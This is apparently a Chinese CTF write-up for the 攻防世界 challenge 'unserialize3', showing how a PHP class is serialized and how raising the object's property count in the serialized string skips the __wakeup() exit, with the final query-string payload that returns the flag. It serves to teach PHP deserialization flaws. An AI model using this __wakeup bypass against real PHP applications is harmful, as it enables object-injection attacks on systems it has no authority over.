天天看點

【攻防世界】九、unserialize3

【攻防世界】九、unserialize3

步驟

打開所給場景

【攻防世界】九、unserialize3

發現給了一段代碼,發現有一個類,還有一個疑似get傳參的參數code,嘗試一下傳參:

【攻防世界】九、unserialize3
【攻防世界】九、unserialize3

發現可以傳入參數,而且類不再顯示,并且提醒我們不能傳數字,大膽猜想一下想要傳遞的值為序列化後的字元串

ok,我們将xctf類進行序列化:

<?php
class xctf{
	public $flag = '111';
	public function __wakeup(){
		exit('bad requests');
	}
}
echo serialize(new xctf());
?>
           
【攻防世界】九、unserialize3

得到序列化字元串:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

傳入試試:

【攻防世界】九、unserialize3

發現輸出了bad requests,分析源碼可知:是調用了

__wakeup()

魔術方法退出了程式,而它會在反序列化之前自動調用,是以我們要繞過它,很簡單,前面做過類似的題目(Web_php_unserialize),隻需要讓序列化之後字元串的屬性值大于實際數目即可繞過

payload:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

【攻防世界】九、unserialize3

成功拿到flag~

總結

考察php反序列化以及php魔術方法的了解